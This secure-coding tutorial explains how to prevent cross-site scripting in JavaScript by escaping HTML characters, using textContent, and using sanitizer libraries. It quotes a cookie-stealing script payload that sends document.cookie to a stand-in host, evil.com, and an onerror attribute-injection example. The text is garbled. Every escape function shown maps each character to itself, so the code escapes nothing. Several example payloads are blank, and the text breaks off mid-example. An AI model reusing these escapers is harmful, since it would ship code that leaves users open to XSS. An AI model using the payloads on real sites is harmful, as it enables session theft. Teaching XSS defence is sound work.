Prevent XSS: Escape HTML Special Characters in JavaScript

One Missing Escape vs. One Compromised Database: The XSS Reality Check

A single unescaped angle bracket can cost a company $4.45 million—the average data breach cost in 2023 according to IBM's Cost of a Data Breach Report. Meanwhile, a properly escaped character costs a developer roughly 0.0001 seconds of execution time. That's the contrast we're dealing with when we talk about Cross-Site Scripting (XSS) vulnerabilities in JavaScript applications.

XSS attacks exploit a simple gap: when user input flows into the DOM without sanitization, attackers can inject malicious scripts that hijack sessions, steal credentials, or redirect users to phishing pages. The defense mechanism is equally simple in concept—escape HTML special characters before rendering. Yet, implementation details separate secure applications from vulnerable ones every single day.

Let's break down the exact escaping strategies that work, the ones that fail, and why the difference matters.

Raw Input vs. Escaped Output: Understanding the Threat Surface

The Dangerous Approach: Direct DOM Injection

Consider what happens when a chat application renders a message like this:

```javascript // VULNERABLE - never do this document.getElementById('message').innerHTML = userInput; ```

If `userInput` contains `

`, the browser executes it immediately. No warnings. No prompts. Just silent data exfiltration.

The attack surface here is enormous. An attacker can: - Steal authentication tokens from localStorage - Capture keystrokes for password fields - Modify page content to display phishing forms - Propagate worms across social platforms (the 2005 Samy MySpace worm infected 1 million users in 24 hours using exactly this technique)

The Secure Approach: Proper Character Escaping

Now compare that to properly escaped output:

```javascript // SECURE - special characters are neutralized function escapeHtml(unsafe) { return unsafe .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'"); }

document.getElementById('message').innerHTML = escapeHtml(userInput); ```

The same malicious payload becomes `<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>`—rendered as visible text, not executable code. The browser treats every character as literal content.

Manual Escaping vs. Library Solutions: Trade-offs in Practice

Rolling Your Own Escape Function

Writing your own HTML escaper offers transparency and zero dependencies. You control exactly which characters get replaced. A robust implementation looks like this:

```javascript function escapeHtml(str) { const escapeMap = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''', '`': '`', '=': '=' }; return String(str).replace(/[&<>"'`=]/g, (char) => escapeMap[char]); } ```

Notice the inclusion of backticks and equals signs. These matter in attribute contexts where template literals or event handlers might be exploited. The downside? You must maintain this code, audit it regularly, and ensure every developer on your team uses it consistently.

Leveraging Established Libraries

Libraries like DOMPurify, he, or Lodash's `_.escape()` provide battle-tested implementations. DOMPurify goes beyond simple escaping—it sanitizes HTML while preserving safe elements and attributes:

```javascript import DOMPurify from 'dompurify'; const clean = DOMPurify.sanitize(userInput); document.getElementById('content').innerHTML = clean; ```

The trade-off is bundle size. DOMPurify adds approximately 22KB minified to your JavaScript payload. For applications where escaping is the only sanitization need, `he` library at 4KB might be more appropriate. The key metric: measure your actual requirements before choosing.

innerHTML vs. textContent: Context Determines Escape Strategy

When innerHTML Creates Vulnerability

The `innerHTML` property interprets strings as HTML markup. This is where most XSS vulnerabilities originate. Any user data assigned to `innerHTML` without escaping becomes executable code. The risk extends beyond script tags—attackers use event handlers like `onerror`, `onload`, and `onclick` on img, svg, and iframe elements:

```javascript // DANGEROUS: event handler injection element.innerHTML = '

'; // If userAvatarUrl = x" onerror="alert(document.cookie) // Result:

```

When textContent Eliminates Risk

When you only need to display text—not render HTML markup—`textContent` is inherently safe:

```javascript // SAFE: browser treats everything as literal text document.getElementById('message').textContent = userInput; ```

No escaping needed. The browser handles character interpretation internally. The trade-off: you lose the ability to include any HTML formatting. For chat messages, comment sections, or user bios where formatting matters, you need escaping plus `innerHTML` or a sanitization library.

Attribute Context vs. Text Node Context: Different Rules Apply

Text Node Escaping (Simpler)

When inserting user data between HTML tags like `<div>` or `<span>`, you primarily need to escape `<`, `>`, and `&`:

```javascript function escapeForTextNode(str) { return String(str) .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>'); } ```

This covers the vast majority of visible content scenarios.

Attribute Value Escaping (Stricter)

Attribute contexts demand additional escaping because quotes can break out of the attribute entirely:

```javascript function escapeForAttribute(str) { return String(str) .replace(/&/g, '&') .replace(/"/g, '"') .replace(/'/g, ''') .replace(/</g, '<') .replace(/>/g, '>'); } ```

Always quote attributes with double quotes consistently. Mixing single and double quotes in attributes creates confusion about which characters need escaping. A single unescaped quote in an attribute value can allow an attacker to inject `onmouseover="maliciousFunction()"` and trigger code execution on user interaction.

Frameworks vs. Vanilla JavaScript: Built-in Protection Levels

React's Automatic Escaping

React escapes values in JSX by default. When you write `{userInput}`, React treats it as a text node and escapes HTML entities automatically. The vulnerability only appears when developers explicitly bypass protection using `dangerouslySetInnerHTML`:

```jsx // SAFE: React escapes automatically